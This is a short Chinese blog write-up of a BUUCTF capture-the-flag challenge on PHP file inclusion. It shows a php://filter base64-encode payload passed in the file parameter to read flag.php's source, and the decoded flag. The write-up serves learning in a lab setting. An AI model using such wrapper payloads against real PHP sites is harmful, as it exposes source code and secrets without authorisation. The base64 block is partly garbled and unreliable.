

# 【BUUCTF】 [ACTF2020 新生赛]Include

原创

aoao今晚吃什么 已于 2022-03-14 20:27:43 修改 5880 收藏

分类专栏: [文件包含](#) 文章标签: [蓝桥杯](#) [职场和发展](#)

于 2022-02-14 21:53:54 首次发布

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/aoao331198/article/details/122932841>

版权



[文件包含](#) 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

点进题目有个'tips'链接, 点击

← → ↻ ⚠ 不安全 | 1fb50afe-8f05-4b82-aaa4-7af2dd255f9c.node4.buuoj.cn:81/?file=flag.php

应用 百度 阿里巴巴 搜索 淘宝 京东 天猫 帮您淘优惠 萤火虫惠聚 软件大全 企业

## Can you find out the flag?

CSDN @aoao331198

根据url中的flag.php和题目名称的暗示, 应该能想到是文件包含, flag在flag.php中, 于是想到利用PHP伪协议构造payload:

```
?file=php://filter/read=convert.base64-encode/resource=flag.php
```

于是获得页面的base64加密内容, 解密一下即可

明文:

```
<?php  
echo "Can you find out the flag?";  
//flag{03b31a61-1516-454c-b378-3a47e58cf89e}
```

BASE64编码 ▶

◀ BASE64解码

BASE64:

```
PD9waHAKZWNobyAiQ2FullHlvdSBmaW5kIG91dCB0aGUgZmxhZz8i  
OwovL2ZzsYWd7MDNlMzFhZmZlMTUxNi00NTRjLWlzNzgtM2E0N2U1  
OGNmODllfQo
```

CSDN @aoao331198